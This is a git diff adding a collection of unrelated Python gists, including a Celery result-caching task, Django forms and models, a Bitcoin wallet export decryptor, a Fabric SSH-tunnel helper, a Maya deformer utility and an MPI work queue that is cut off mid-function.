+Celery base task aimed at longish-running jobs that return a result.
+
+``AwesomeResultTask`` adds thundering herd avoidance, result caching, progress
+reporting, error fallback and JSON encoding of results.
+"""
+from __future__ import division
+
+import logging
+import simplejson
+import time
+from contextlib import contextmanager
+from hashlib import md5
+from uuid import uuid4
+
+from celery import states
+from celery.backends import default_backend
+from celery.task import Task
+from celery.result import BaseAsyncResult
+from celery.signals import task_prerun, task_postrun
+from djcelery.models import TaskMeta
+from johnny.middleware import QueryCacheMiddleware, LocalStoreClearMiddleware
+
+from django.conf import settings
+from django.core.cache import cache
+
+
+def task_prerun_handler(*args, **kwargs):
+    """
+    Before each Task is ran, we have to instantiate Johnny's query cache
+    monkey patch. This will make sure that any table writes invalidate table
+    caches, and reads pull from any existing caches.
+    """
+    QueryCacheMiddleware()
+task_prerun.connect(task_prerun_handler)
+
+
+def task_postrun_handler(*args, **kwargs):
+    """
+    After each task is ran, the LocalStore cache (similar to threadlocals) is
+    cleared, as is the case with views (instead of celery tasks).
+    """
+    clear_middleware = LocalStoreClearMiddleware()
+    clear_middleware.process_response(None, None)
+task_postrun.connect(task_postrun_handler)
+
+
+@contextmanager
+def acquire_lock(lock_name):
+    for _ in range(10):
+        try:
+            value = cache.incr(lock_name)
+        except ValueError:
+            cache.set(lock_name, 0)
+            value = cache.incr(lock_name)
+        if value == 1:
+            break
+        else:
+            cache.decr(lock_name)
+    else:
+        yield
+        cache.set(lock_name, 0)
+        return
+    yield
+    cache.decr(lock_name)
+
+
+def get_task_meta_error(exception):
+    """
+    Take an exception and turn it in to a Celery result tombstone that mimics
+    what would happen if that error were thrown during a Task run.
+
+    This is copy/pasted from pstat.core.utils
+    """
+    # Need to return an object that has a uuid attribute, and need to store the
+    # result in the cache
+    fake_result = TaskMeta()
+    task_id = str(uuid4())
+    fake_result.task_id = task_id
+
+    default_backend.store_result(task_id, exception, status=states.FAILURE)
+
+    return fake_result
+
+
+class AwesomeResultTask(Task):
+    """
+    A base ``Celery.Task`` class that provides some common niceties for running
+    tasks that return some kind of result for which you need to wait.
+
+    To create a task that uses these helpers, use ``AwesomeResultTask`` as a
+    subclass and define a ``calculate_result`` method which returns a
+    dictionary to be turned in to JSON. You will also need to define the
+    following class variables:
+
+    * ``cache_prefix`` A unique string representing this task. Eg.
+      ``foo.bar.tasks.BazzTask``
+    * ``significant_kwargs`` The kwarg values that will be converted to strings
+      and hashed to determine if two versions of the same task are equivelent.
+      This is a list of 2-tuples with the first item being the kwarg string and
+      the second being a callable that converts the value to a hashable string.
+      If no second item is given, it's assumed that calling ``str()`` on the
+      value works just fine.
+    * ``herd_avoidance_timeout`` Number of seconds to hold a lock on this task
+      for other equivelant runs. Generally, this should be set to the longest
+      estimated amount of time the task could consume.
+    * ``cache_duration`` The number of seconds for which the result of this
+      task should be cached, meaning subsequent equivelant runs will skip
+      computation. Set this to ``-1`` to disable caching.
+
+    Provided are helpers for:
+
+    1. Handling failures to connect the task broker by either directly
+      running the task (`delay_or_run`) or by returning a task that
+      contains the connection error (`delay_or_fail`). This minimizes
+      the user-facing impact of a dead task broker.
+    2. Defeating any thundering herd issues by ensuring only one of a task with
+      specific arguments can be running at a time by directing subsequent calls
+      to latch on to the appropriate result.
+    3. Caching the final result for a designated time period so that subsequent
+      equivelant calls return quickly.
+    4. Returning the results as JSON, so that they can be processed easily by
+      client-side javascript.
+    5. Returning time-based, continually updating progress estimates to
+      front-end code so that users know what to expect.
+    """
+    def delay_or_run(self, *args, **kwargs):
+        """
+        Attempt to call self.delay, or if that fails, call self.run.
+
+        Returns a tuple, (result, fallback). ``result`` is the result of
+        calling delay or run. ``fallback`` is a boolean that is True when
+        self.run was called instead of self.delay.
+        """
+        try:
+            result = self.delay(*args, **kwargs)
+            fallback = False
+        except IOError:
+            result = self.run(*args, **kwargs)
+            fallback = True
+        return result, fallback
+
+    def delay_or_fail(self, *args, **kwargs):
+        """
+        Attempt to call self.delay, but if that fails with an exception, we
+        fake the task completion using the exception as the result. This allows
+        us to seamlessly handle errors on task creation the same way we handle
+        errors when a task runs, simplifying the user interface.
+
+        Returns a ``TaskMeta`` object that is either the result of calling
+        delay or the faked task result.
+        """
+        try:
+            return self.delay(*args, **kwargs)
+        except IOError as e:
+            return get_task_meta_error(e)
+
+    def delay(self, *args, **kwargs):
+        """
+        Put this task on the Celery queue as a singleton. Only one of this type
+        of task with its distinguishing args/kwargs will be allowed on the
+        queue at a time. Subsequent duplicate tasks called while this task is
+        still running will just latch on to the results of the running task by
+        synchronizing the task uuid. Additionally, identical task calls will
+        return those results for the next ``cache_duration`` seconds.
+
+        Passing a ``cache_duration`` keyword argument controls how long
+        identical task calls will latch on to previously cached results.
+        """
+        self._validate_required_class_vars()
+
+        cache_key = self._get_cache_key(**kwargs)
+
+        # Check for an already-computed and cached result
+        task_id = cache.get(cache_key)  # Check for the cached result
+        if task_id:
+            # We've already built this result, just latch on to the task that
+            # did the work
+            logging.info(
+                'Found existing cached and completed task: %s', task_id)
+            return BaseAsyncResult(task_id, self.backend)
+
+        # Check for an in-progress equivelant task to avoid duplicating work
+        task_id = cache.get('herd:%s' % cache_key)
+        if task_id:
+            logging.info('Found existing in-progress task: %s', task_id)
+            return BaseAsyncResult(task_id, self.backend)
+
+        # It's not cached and it's not already running. Use an atomic lock to
+        # start the task, ensuring there isn't a race condition that could
+        # result in multiple identical tasks being fired at once.
+        with acquire_lock('lock:%s' % cache_key):
+            task_meta = super(AwesomeResultTask, self).delay(
+                *args, **kwargs)
+            logging.info('Current status: %s', task_meta.status)
+            if task_meta.status in ['PROGRESS', 'PENDING']:
+                cache.set(
+                    'herd:%s' % cache_key,
+                    task_meta.task_id,
+                    timeout=self.herd_avoidance_timeout)
+                logging.info(
+                    'Setting herd-avoidance cache for task: %s', cache_key)
+        return task_meta
+
+    def calc_progress(self, completed_count, total_count):
+        """
+        Calculate the percentage progress and estimated remaining time based on
+        the current number of items completed of the total.
+
+        Returns a tuple of ``(percentage_complete, seconds_remaining)``.
+        """
+        self.logger.debug(
+            "calc_progress(%s, %s)",
+            completed_count,
+            total_count,
+        )
+        current_time = time.time()
+
+        time_spent = current_time - self.start_time
+        self.logger.debug("Progress time spent: %s", time_spent)
+
+        if total_count == 0:
+            return 100, 1
+
+        completion_fraction = completed_count / total_count
+        if completion_fraction == 0:
+            completion_fraction = 1
+
+        total_time = 0
+        total_time = time_spent / completion_fraction
+        time_remaining = total_time - time_spent
+
+        completion_display = completion_fraction * 100
+        if completion_display == 100:
+            return 100, 1  # 1 second to finish up
+
+        return completion_display, time_remaining
+
+    def update_progress(self, completed_count, total_count):
+        """
+        Update the task backend with both an estimated percentage complete and
+        number of seconds remaining until completion.
+
+        ``completed_count`` Number of task "units" that have been completed out
+        of ``total_count`` total "units."
+        """
+        # Store progress for display
+        progress_percent, time_remaining = self.calc_progress(
+            completed_count, total_count)
+        self.logger.info(
+            "Updating progress: %s percent, %s remaining",
+            progress_percent,
+            time_remaining)
+        self.backend.store_result(
+            self.task_id,
+            result={
+                "progress_percent": progress_percent,
+                "time_remaining": time_remaining,
+            },
+            status="PROGRESS")
+
+    def run(self, *args, **kwargs):
+        self.logger = self.get_logger(**kwargs)
+        self.logger.info("Starting %s", self.__class__.__name__)
+
+        self.cache_key = self._get_cache_key(**kwargs)
+
+        # Record start time to give estimated time remaining estimates
+        self.start_time = time.time()
+
+        # Report to the backend that work has been started.
+        self.task_id = kwargs.get('task_id', None)
+        self.backend.store_result(
+            self.task_id,
+            result={
+                "progress_percent": 0,
+                "time_remaining": -1,
+            },
+            status="PROGRESS",
+        )
+
+        self.logger.info("Calculating result")
+        try:
+            result = self.calculate_result(*args, **kwargs)
+        except Exception:
+            # Don't want other tasks waiting for this task to finish, since it
+            # won't
+            self._break_thundering_herd_cache()
+            raise  # We can use normal celery exception handling for this
+
+        self.logger.info("Serializing result")
+        json_result = simplejson.dumps(result)
+
+        if self.cache_duration >= 0:
+            # If we're configured to cache this result, do so.
+            cache.set(self.cache_key, self.task_id, self.cache_duration)
+
+        # Now that the task is finished, we can stop all of the thundering herd
+        # avoidance
+        self._break_thundering_herd_cache()
+
+        return json_result
+
+    def _validate_required_class_vars(self):
+        """
+        Ensure that this subclass has defined all of the required class
+        variables.
+        """
+        required_members = [
+            'cache_prefix',
+            'significant_kwargs',
+            'herd_avoidance_timeout',
+            'cache_duration',
+        ]
+        for required_member in required_members:
+            if not hasattr(self, required_member):
+                raise Exception(
+                    "AwesomeResultTask's must define a %s" % required_member)
+
+    def on_success(self, retval, task_id, args, kwargs):
+        """
+        Store results in the backend even if we're always eager. This helps for
+        testing.
+        """
+        if getattr(settings, 'CELERY_ALWAYS_EAGER', False):
+            # Store the result because celery wouldn't otherwise
+            self.backend.store_result(task_id, retval, status=states.SUCCESS)
+
+    def _break_thundering_herd_cache(self):
+        cache.delete('herd:%s' % self.cache_key)
+
+    def _get_cache_key(self, **kwargs):
+        """
+        Take this task's configured ``significant_kwargs`` and build a hash
+        that all equivelant task calls will match.
+
+        Takes in kwargs and returns a string.
+
+        To change the way the cache key is generated or do more in-depth
+        processing, override this method.
+        """
+        m = md5()
+        for significant_kwarg in self.significant_kwargs:
+            key, to_str = significant_kwarg
+            m.update(to_str(kwargs[key]))
+        return '%s:%s' % (self.cache_prefix, m.hexdigest())
diff --git a/hard-gists/2721811/._snippet.py b/hard-gists/2721811/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2721811/._snippet.py differ
diff --git a/hard-gists/2721811/snippet.py b/hard-gists/2721811/snippet.py
new file mode 100644
index 00000000..e7c10c47
--- /dev/null
+++ b/hard-gists/2721811/snippet.py
@@ -0,0 +1,12 @@
+import sublime, sublime_plugin
+
+class CopyScopeCommand(sublime_plugin.TextCommand):
+	def run(self, edit):
+		sublime.set_clipboard(self.view.scope_name(self.view.sel()[0].begin()))
+		sublime.status_message("Copied scope")
+
+	def is_enabled(self):
+		return self.view.sel()
+
+# To call the command, add the following to Preferences->Key Bindings - User:
+# { "keys": ["shift+super+alt+p"], "command": "copy_scope" }
\ No newline at end of file
diff --git a/hard-gists/2725286/._snippet.py b/hard-gists/2725286/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2725286/._snippet.py differ
diff --git a/hard-gists/2725286/snippet.py b/hard-gists/2725286/snippet.py
new file mode 100644
index 00000000..026a3fdb
--- /dev/null
+++ b/hard-gists/2725286/snippet.py
@@ -0,0 +1,22 @@
+from django.forms import EmailField
+
+from django.utils.translation import ugettext_lazy as _
+
+from django.contrib.auth.models import User
+from django.contrib.auth.forms import UserCreationForm
+
+
+class UserCreationForm(UserCreationForm):
+    email = EmailField(label=_("Email address"), required=True,
+        help_text=_("Required."))
+
+    class Meta:
+        model = User
+        fields = ("username", "email", "password1", "password2")
+
+    def save(self, commit=True):
+        user = super(UserCreationForm, self).save(commit=False)
+        user.email = self.cleaned_data["email"]
+        if commit:
+            user.save()
+        return user
diff --git a/hard-gists/2729506/._snippet.py b/hard-gists/2729506/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2729506/._snippet.py differ
diff --git a/hard-gists/2729506/snippet.py b/hard-gists/2729506/snippet.py
new file mode 100644
index 00000000..883cff9e
--- /dev/null
+++ b/hard-gists/2729506/snippet.py
@@ -0,0 +1,49 @@
+# Copyright 2012 Joseph R. Hunt
+# All rights reserved.
+
+# This is just a quick hack and is not reliable
+# width 850,315
+
+import re
+import urllib
+import Image
+import cStringIO
+from oauth_hook import OAuthHook
+import requests
+
+baseurl = "http://apod.nasa.gov/apod/"
+indexurl = baseurl + "astropix.html"
+regex = "a href=\"(image.*)\""
+imgsize = 1000, 1000
+twitterurl = "http://api.twitter.com/1/"
+
+# set all of these
+OAuthHook.consumer_key = ''
+OAuthHook.consumer_secret = ''
+access_token = ''
+access_token_secret = ''
+
+
+oauth_hook = OAuthHook(access_token, access_token_secret, header_auth=True)
+
+
+def get_apod_image():
+    apodpage = urllib.urlopen(indexurl).read()  # grab the mainpage
+    apod_url = re.search(regex, apodpage).group(1)  # find image url
+    imgfile = urllib.urlopen(baseurl + apod_url)  # open the image file
+    imgstr = cStringIO.StringIO(imgfile.read())  # parse it into memory (cStringIO is faster than StringIO)
+    img = Image.open(imgstr)
+    img.convert("RGB")
+    img.thumbnail(imgsize, Image.ANTIALIAS)
+    img.save("apod.png", "PNG", optimize=True)
+
+
+def update_twitter():
+    client = requests.session(hooks={'pre_request': oauth_hook})
+    image = open('apod.png', 'rb')
+    response = client.post(twitterurl + 'account/update_profile_background_image.json', files={'image': ('apod.png', image)})
+    print response
+
+if __name__ == '__main__':
+    get_apod_image()
+    update_twitter()
\ No newline at end of file
diff --git a/hard-gists/273bef4c5b4490c687b2f92ee721b546/._snippet.py b/hard-gists/273bef4c5b4490c687b2f92ee721b546/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/273bef4c5b4490c687b2f92ee721b546/._snippet.py differ
diff --git a/hard-gists/273bef4c5b4490c687b2f92ee721b546/snippet.py b/hard-gists/273bef4c5b4490c687b2f92ee721b546/snippet.py
new file mode 100644
index 00000000..59615709
--- /dev/null
+++ b/hard-gists/273bef4c5b4490c687b2f92ee721b546/snippet.py
@@ -0,0 +1,41 @@
+import mxnet as mx
+import numpy as np
+import cPickle
+import cv2
+
+def extractImagesAndLabels(path, file):
+    f = open(path+file, 'rb')
+    dict = cPickle.load(f)
+    images = dict['data']
+    images = np.reshape(images, (10000, 3, 32, 32))
+    labels = dict['labels']
+    imagearray = mx.nd.array(images)
+    labelarray = mx.nd.array(labels)
+    return imagearray, labelarray
+
+def extractCategories(path, file):
+    f = open(path+file, 'rb')
+    dict = cPickle.load(f)
+    return dict['label_names']
+
+def saveCifarImage(array, path, file):
+    # array is 3x32x32. cv2 needs 32x32x3
+    array = array.asnumpy().transpose(1,2,0)
+    # array is RGB. cv2 needs BGR
+    array = cv2.cvtColor(array, cv2.COLOR_RGB2BGR)
+    # save to PNG file
+    return cv2.imwrite(path+file+".png", array)
+
+imgarray, lblarray = extractImagesAndLabels("cifar-10-batches-py/", "data_batch_1")
+print imgarray.shape
+print lblarray.shape
+
+categories = extractCategories("cifar-10-batches-py/", "batches.meta")
+
+cats = []
+for i in range(0,10):
+    saveCifarImage(imgarray[i], "./", "image"+(str)(i))
+    category = lblarray[i].asnumpy()
+    category = (int)(category[0])
+    cats.append(categories[category])
+print cats
diff --git a/hard-gists/2757171/._snippet.py b/hard-gists/2757171/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2757171/._snippet.py differ
diff --git a/hard-gists/2757171/snippet.py b/hard-gists/2757171/snippet.py
new file mode 100644
index 00000000..bce8c75b
--- /dev/null
+++ b/hard-gists/2757171/snippet.py
@@ -0,0 +1,98 @@
+#!/usr/bin/env python
+import base64, hashlib, hmac, json, sys, getpass
+from Crypto.Cipher import AES
+from Crypto.Hash import RIPEMD, SHA256
+
+base58_chars = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'
+
+def prompt(p):
+    return getpass.getpass(p + ": ")
+
+def decrypt(encrypted, password):
+    encrypted = base64.b64decode(encrypted)
+    iv, encrypted = encrypted[:16], encrypted[16:]
+    aeshash = pbkdf2(password, iv, 10, 32)
+    clear = remove_iso10126_padding(AES.new(aeshash, AES.MODE_CBC, iv).decrypt(encrypted))
+    return clear
+
+def remove_iso10126_padding(s):
+    ba = bytearray(s)
+    pad_len = ba[-1]
+    return str(ba[:-pad_len])
+
+def base58_decode(v):
+  value = 0; ret = ''
+  for c in v: value = value*58 + base58_chars.find(c)
+  for i in range(32):
+      ret = "%c"%(value%256) + ret; value /= 256
+  return ret
+
+def base58_encode(v):
+    value = 0; ret = ''
+    for c in v: value = value*256 + ord(c)
+    while value > 0:
+        ret = base58_chars[value%58] + ret; value /= 58
+    return ret
+
+def to_sipa(s):
+    version = 128 # or 239 for testnet
+    key = chr(version) + base58_decode(s)
+    return base58_encode(key + SHA256.new(SHA256.new(key).digest()).digest()[:4])
+
+# pbkdf2 from http://matt.ucc.asn.au/src/pbkdf2.py
+
+from struct import pack
+
+# this is what you want to call.
+def pbkdf2( password, salt, itercount, keylen, hashfn = hashlib.sha1 ):
+    digest_size = hashfn().digest_size
+
+    # l - number of output blocks to produce
+    l = keylen / digest_size
+    if keylen % digest_size != 0:
+        l += 1
+
+    h = hmac.new( password, None, hashfn )
+
+    T = ""
+    for i in range(1, l+1):
+        T += pbkdf2_F( h, salt, itercount, i )
+
+    return T[0: keylen]
+
+def xorstr( a, b ):
+    if len(a) != len(b):
+        raise "xorstr(): lengths differ"
+
+    ret = ''
+    for i in range(len(a)):
+        ret += chr(ord(a[i]) ^ ord(b[i]))
+
+    return ret
+
+def prf( h, data ):
+    hm = h.copy()
+    hm.update( data )
+    return hm.digest()
+
+# Helper as per the spec. h is a hmac which has been created seeded with the
+# password, it will be copy()ed and not modified.
+def pbkdf2_F( h, salt, itercount, blocknum ):
+    U = prf( h, salt + pack('>i',blocknum ) )
+    T = U
+
+    for i in range(2, itercount+1):
+        U = prf( h, U )
+        T = xorstr( T, U )
+
+    return T
+
+clear = decrypt(prompt("encrypted wallet"), prompt("password"))
+obj = json.loads(clear)
+
+if (obj.has_key('double_encryption')):
+    print("wallet uses double encryption")
+    password = obj['sharedKey'].encode('ascii') + prompt("2nd password")
+    for key in obj['keys']: key['priv'] = decrypt(key['priv'], password)
+for key in obj['keys']: key['priv_sipa'] = to_sipa(key['priv'])
+print(json.dumps(obj, indent=4, sort_keys = True))
\ No newline at end of file
diff --git a/hard-gists/2760477/._snippet.py b/hard-gists/2760477/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2760477/._snippet.py differ
diff --git a/hard-gists/2760477/snippet.py b/hard-gists/2760477/snippet.py
new file mode 100644
index 00000000..fcd96fba
--- /dev/null
+++ b/hard-gists/2760477/snippet.py
@@ -0,0 +1,34 @@
+from fabric.api import *
+from fabric.contrib.console import confirm
+from local_settings import remote_user
+from time import time
+import subprocess, shlex, atexit, time
+from settings import DATABASES
+from os import remove
+
+env.use_ssh_config = True
+env.context = 'local'
+tunnels = []
+local_db = DATABASES['default']
+
+class SSHTunnel:
+    def __init__(self, bridge_user, bridge_host, dest_host, bridge_port=22, dest_port=22, local_port=2022, timeout=15):
+        self.local_port = local_port
+        cmd = 'ssh -vAN -L %d:%s:%d %s@%s' % (local_port, dest_host, dest_port, bridge_user, bridge_host)
+        self.p = subprocess.Popen(shlex.split(cmd), stdout=subprocess.PIPE, stderr=subprocess.PIPE)
+        start_time = time.time()
+        atexit.register(self.p.kill)
+        while not 'Entering interactive session' in self.p.stderr.readline():
+            if time.time() > start_time + timeout:
+                raise "SSH tunnel timed out"
+    def entrance(self):
+        return 'localhost:%d' % self.local_port
+
+@task
+def live():
+    env.user = 'ops'
+    prod = SSHTunnel(remote_user, 'bastion.alleyinteractive.com', 'prod.alleyinteractive.com')
+    env.hosts = [prod.entrance()]
+    env.context = 'live'
+    env.directory = '/usr/share/django/alleyinteractive/alleyinteractive'
+    env.db_config = DATABASES['default']
\ No newline at end of file
diff --git a/hard-gists/2760f2f12201f638d7de/._snippet.py b/hard-gists/2760f2f12201f638d7de/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2760f2f12201f638d7de/._snippet.py differ
diff --git a/hard-gists/2760f2f12201f638d7de/snippet.py b/hard-gists/2760f2f12201f638d7de/snippet.py
new file mode 100644
index 00000000..bd9eac19
--- /dev/null
+++ b/hard-gists/2760f2f12201f638d7de/snippet.py
@@ -0,0 +1,23 @@
+import urllib.request
+import urllib.parse
+import xml.etree.ElementTree as ET
+from collections import OrderedDict
+# Store the xml file in the variable 'response'
+response = urllib.request.urlopen("http://api.indeed.com/ads/apisearch?publisher=4964554191771748&q=java&l=gilroy%2C+ca&sort=&radius=&st=&jt=&start=&limit=&fromage=&filter=&latlong=1&co=us&chnl=&userip=1.2.3.4&useragent=&v=2")
+#
+
+# Dictionary where the Key is the type of information and the Value is the index where that information exists in 'results'.  I omitted unnecessary information to make it easier to look at.
+stripped_data = OrderedDict([("Job Title:", 0), ("Company:", 1), ("Location:", 5) , ("Date:", 7), ("Snippet:", 8), ("URL:", 9)])
+
+# Used xml.etree.ElementTree to iterate through elements in the xml file
+tree = ET.parse(response)
+root = tree.getroot()
+# This is where the results are stored in the xml tree.  root[9][0] is the first job posting in the search.
+results = root[9]
+# A loop that goes through the individual posts in results and prints out the information at the indexes specified in stripped_data dictionary.
+for posts in results:
+    for key, value in stripped_data.items():
+        if key == "URL:":
+            print(key, posts[value].text + "\n") # Adds a line to seperate individual posts so they are easier to look at.
+        else:
+          print(key, posts[value].text)
\ No newline at end of file
diff --git a/hard-gists/2764305/._snippet.py b/hard-gists/2764305/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2764305/._snippet.py differ
diff --git a/hard-gists/2764305/snippet.py b/hard-gists/2764305/snippet.py
new file mode 100644
index 00000000..d8860f80
--- /dev/null
+++ b/hard-gists/2764305/snippet.py
@@ -0,0 +1,30 @@
+# -*- coding: utf-8 *-*
+from django.db import models
+
+
+class Propietario(models.Model):
+
+    propietario = models.CharField(max_length=255)
+
+
+class Vehiculo(models.Model):
+
+    clase = models.CharField(max_length=255)
+    marca = models.CharField(max_length=25)
+    combustible = models.CharField(max_length=15)
+    carroseria = models.CharField(max_length=25)
+    
+
+
+class DetallePropitario(models.Model):
+
+    vehiculo = models.ForeignKey(Vehiculo)
+    propietario = models.ForeignKey(Propietario)
+    estado = models.BooleanField()
+
+
+class Placa(models.Model):
+
+    numero = models.CharField(max_length=15)
+    estado = models.BooleanField()
+    vehiculo = models.ForeignKey(Vehiculo)
diff --git a/hard-gists/2768310/._snippet.py b/hard-gists/2768310/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2768310/._snippet.py differ
diff --git a/hard-gists/2768310/snippet.py b/hard-gists/2768310/snippet.py
new file mode 100644
index 00000000..06226226
--- /dev/null
+++ b/hard-gists/2768310/snippet.py
@@ -0,0 +1,43 @@
+''' A model field to store and retrieve Google Protocol Buffer objects easily.
+
+Uses the BlobField available on GAE for storage.
+
+Usage:
+
+    myfield = ProtobufField(protoclass=MyProtocolClass)
+
+where MyProtocolClass is a protocol descriptor class generated from a .proto file.
+The field is supposed to store only the given kind of protocol messages.
+
+The `protoclass` attribute is required.
+'''
+from django.db import models
+from djangotoolbox.fields import BlobField
+
+class ProtobufField(BlobField):
+    description = "Storage for protobuffer objects"
+    __metaclass__ = models.SubfieldBase
+
+    def __init__(self, protoclass, *args, **kwargs):
+        self.protoclass = protoclass
+        super(ProtobufField, self).__init__(*args, **kwargs)
+
+    def to_python(self, value):
+        if isinstance(value, self.protoclass):
+            return value
+
+        protobuf = self.protoclass()
+        protobuf.ParseFromString(value)
+        return protobuf
+
+    def get_prep_value(self, value):
+        return value.SerializeToString()
+
+    def get_db_prep_value(self, value, connection, prepared=False):
+        if hasattr(value, "SerializeToString"):
+            value = value.SerializeToString()
+        return super(ProtobufField, self).get_db_prep_value(value=value, connection=connection, prepared=prepared)
+
+    def value_to_string(self, obj):
+        obj = obj.SerializeToString()
+        return super(ProtobufField, self).value_to_string(obj)
diff --git a/hard-gists/276a2b26cab5bc22d882/._snippet.py b/hard-gists/276a2b26cab5bc22d882/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/276a2b26cab5bc22d882/._snippet.py differ
diff --git a/hard-gists/276a2b26cab5bc22d882/snippet.py b/hard-gists/276a2b26cab5bc22d882/snippet.py
new file mode 100644
index 00000000..5023c266
--- /dev/null
+++ b/hard-gists/276a2b26cab5bc22d882/snippet.py
@@ -0,0 +1,97 @@
+'''
+Ryan Roberts - Wrap Deformer
+rr_wrap.py
+
+Description:
+    Ryan Robers created a simple function to create a wrap deformer.  
+    The wrap deformer needs a little more than the deform command to get working.
+    Michael Clavan
+    I wanted to have the function also return the deformer to the user.  So, my contributions are pretty minor.
+    I converted the wrap deformer into a pynode object type pm.nt.Wrap.
+    
+
+'''
+
+
+import maya.cmds as cmds
+import pymel.core as pm 
+
+def createWrap(*args,**kwargs):
+    
+    influence=args[0]
+    surface = args[1]
+    
+    shapes = cmds.listRelatives(influence,shapes=True)
+    influenceShape = shapes[0]
+
+    shapes = cmds.listRelatives(surface,shapes=True)
+    surfaceShape = shapes[0]
+
+    #create wrap deformer
+    weightThreshold = kwargs.get('weightThreshold',0.0)
+    maxDistance = kwargs.get('maxDistance',1.0)
+    exclusiveBind = kwargs.get('exclusiveBind',False)
+    autoWeightThreshold = kwargs.get('autoWeightThreshold',True)
+    falloffMode = kwargs.get('falloffMode',0)
+
+    wrapData = cmds.deformer(surface, type='wrap')
+    wrapNode = wrapData[0]
+
+    cmds.setAttr(wrapNode+'.weightThreshold',weightThreshold)
+    cmds.setAttr(wrapNode+'.maxDistance',maxDistance)
+    cmds.setAttr(wrapNode+'.exclusiveBind',exclusiveBind)
+    cmds.setAttr(wrapNode+'.autoWeightThreshold',autoWeightThreshold)
+    cmds.setAttr(wrapNode+'.falloffMode',falloffMode)
+
+    cmds.connectAttr(surface+'.worldMatrix[0]',wrapNode+'.geomMatrix')
+    
+    #add influence
+    duplicateData = cmds.duplicate(influence,name=influence+'Base')
+    base = duplicateData[0]
+    shapes = cmds.listRelatives(base,shapes=True)
+    baseShape = shapes[0]
+    cmds.hide(base)
+    
+    #create dropoff attr if it doesn't exist
+    if not cmds.attributeQuery('dropoff',n=influence,exists=True):
+        cmds.addAttr( influence, sn='dr', ln='dropoff', dv=4.0, min=0.0, max=20.0  )
+        cmds.setAttr( influence+'.dr', k=True )
+    
+    #if type mesh
+    if cmds.nodeType(influenceShape) == 'mesh':
+        #create smoothness attr if it doesn't exist
+        if not cmds.attributeQuery('smoothness',n=influence,exists=True):
+            cmds.addAttr( influence, sn='smt', ln='smoothness', dv=0.0, min=0.0  )
+            cmds.setAttr( influence+'.smt', k=True )
+
+        #create the inflType attr if it doesn't exist
+        if not cmds.attributeQuery('inflType',n=influence,exists=True):
+            cmds.addAttr( influence, at='short', sn='ift', ln='inflType', dv=2, min=1, max=2  )
+
+        cmds.connectAttr(influenceShape+'.worldMesh',wrapNode+'.driverPoints[0]')
+        cmds.connectAttr(baseShape+'.worldMesh',wrapNode+'.basePoints[0]')
+        cmds.connectAttr(influence+'.inflType',wrapNode+'.inflType[0]')
+        cmds.connectAttr(influence+'.smoothness',wrapNode+'.smoothness[0]')
+
+    #if type nurbsCurve or nurbsSurface
+    if cmds.nodeType(influenceShape) == 'nurbsCurve' or cmds.nodeType(influenceShape) == 'nurbsSurface':
+        #create the wrapSamples attr if it doesn't exist
+        if not cmds.attributeQuery('wrapSamples',n=influence,exists=True):
+            cmds.addAttr( influence, at='short', sn='wsm', ln='wrapSamples', dv=10, min=1  )
+            cmds.setAttr( influence+'.wsm', k=True )
+
+        cmds.connectAttr(influenceShape+'.ws',wrapNode+'.driverPoints[0]')
+        cmds.connectAttr(baseShape+'.ws',wrapNode+'.basePoints[0]')
+        cmds.connectAttr(influence+'.wsm',wrapNode+'.nurbsSamples[0]')
+
+    cmds.connectAttr(influence+'.dropoff',wrapNode+'.dropoff[0]')
+    # I want to return a pyNode object for the wrap deformer.
+    # I do not see the reason to rewrite the code here into pymel.
+    # return wrapNode
+    return pm.nt.Wrap(wrapNode)
+    
+# selected = cmds.ls(sl=True)
+# createWrap(selected[0],selected[1])
+
+#
+
diff --git a/hard-gists/2773137/._snippet.py b/hard-gists/2773137/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2773137/._snippet.py differ
diff --git a/hard-gists/2773137/snippet.py b/hard-gists/2773137/snippet.py
new file mode 100644
index 00000000..9a691e7e
--- /dev/null
+++ b/hard-gists/2773137/snippet.py
@@ -0,0 +1,68 @@
+#!/usr/bin/env python
+"""
+Standard Main/Subordinate design in mpi4py, collects results in a list and pickles them to a file.
+"""
+import ROOT
+ 
+from mpi4py import MPI
+import sys
+import cPickle as pick
+ 
+WORKTAG = 0
+DIETAG = 1
+ 
+class Work():
+    def __init__(self, work_items):
+        self.work_items = work_items[:] 
+ 
+    def get_next_item(self):
+        if len(self.work_items) == 0:
+            return None
+        return self.work_items.pop()
+ 
+def main(wi):
+    all_data = []
+    size = MPI.COMM_WORLD.Get_size()
+    current_work = Work(wi) 
+    comm = MPI.COMM_WORLD
+    status = MPI.Status()
+    for i in range(1, size): 
+        anext = current_work.get_next_item() 
+        if not anext: break
+        comm.send(obj=anext, dest=i, tag=WORKTAG)
+ 
+    while 1:
+        anext = current_work.get_next_item()
+        if not anext: break
+        data = comm.recv(obj=None, source=MPI.ANY_SOURCE, tag=MPI.ANY_TAG, status=status)
+        all_data.append(data)
+        comm.send(obj=anext, dest=status.Get_source(), tag=WORKTAG)
+ 
+    for i in range(1,size):
+        data = comm.recv(obj=None, source=MPI.ANY_SOURCE, tag=MPI.ANY_TAG)
+        all_data.append(data)
+    
+    for i in range(1,size):
+        comm.send(obj=None, dest=i, tag=DIETAG)
+     
+    return all_data
+        
+    
+def subordinate(do_work):
+    comm = MPI.COMM_WORLD
+    status = MPI.Status()
+    while 1:
+        data = comm.recv(obj=None, source=0, tag=MPI.ANY_TAG, status=status)
+        if status.Get_tag(): break
+        comm.send(obj=do_work(data), dest=0)
+    
+def main(work_list, do_work):
+    rank = MPI.COMM_WORLD.Get_rank()
+    name = MPI.Get_processor_name()
+    size = MPI.COMM_WORLD.Get_size() 
+    
